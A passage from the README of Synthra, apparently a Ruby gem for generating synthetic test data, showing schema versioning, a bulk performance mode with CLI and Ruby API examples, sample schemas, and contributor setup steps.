registry.deprecate("User", version: "1.0.0", sunset_date: Date.new(2026, 6, 1))

# Check compatibility
result = registry.compatible?("User", "1.0.0", "2.0.0")
if result[:breaking]
  puts "Breaking changes: #{result[:changes]}"
end

# Validate current schema against contract
registry.validate("User", version: "1.0.0", schema: current_schema)

โšก Performance Mode

Generate millions of records with parallel processing:

# Generate 1 million records to file
synthra perf User -d schemas/ -c 1000000 -o users.ndjson

# Different formats
synthra perf User -d schemas/ -c 1000000 -f csv -o users.csv
synthra perf User -d schemas/ -c 1000000 -f json -o users.json

# Benchmark performance
synthra perf User -d schemas/ --benchmark

Ruby API

# Generate with progress callback
records = Synthra::PerformanceMode.generate(schema, count: 1_000_000) do |progress|
  puts "#{progress[:current]} / #{progress[:total]} (#{progress[:rate]} rec/s)"
end

# Stream to file (memory efficient)
Synthra::PerformanceMode.to_file(
  schema,
  count: 10_000_000,
  output: "users.ndjson",
  format: :ndjson
) do |progress|
  puts "ETA: #{progress[:eta]}s"
end

# Benchmark
results = Synthra::PerformanceMode.benchmark(schema, counts: [1000, 10_000, 100_000])
# => { 1000 => { elapsed: 0.05, rate: 20000, memory_mb: 2.5 }, ... }

# System capabilities
Synthra::PerformanceMode.system_info
# => { cpu_cores: 8, optimal_threads: 7, native_available: true, ... }

๐Ÿ“š Examples

E-Commerce System

Product:
  id: uuid(unique: true)
  name: text(10..50)
  price: money(range: 9.99..999.99)
  category: enum(electronics, clothing, home)
  in_stock: boolean(true:85%)

Order:
  id: uuid(unique: true)
  customer_id: Ref(Customer.id)
  items: array(OrderItem, 1..5)
  total: custom(:calculate_total)
  status: enum(pending, shipped, delivered)

API Response Simulation

APIResponse:
  @latency 50..500ms
  @failure 2%
  @simulate_error 503 1%
  
  success: boolean(true:95%)
  data: object
  timestamp: now

๐Ÿ“– See Examples Directory for more:


๐Ÿค Contributing

We welcome contributions! Please see CONTRIBUTING.md.

# Clone the repository
git clone https://github.com/talaatmagdyx/synthra.git
cd synthra

# Install dependencies
bundle install

# Run tests
bundle exec rspec

# Run linter
bundle exec rubocop

๐Ÿ“„ License

The gem is available as open source under the terms of the MIT License.


๐Ÿ™ Acknowledgments

  • Faker - For the amazing fake data generators
  • Zeitwerk - For elegant autoloading
  • The Ruby community for inspiration and feedback

Made with โค๏ธ by the Synthra Team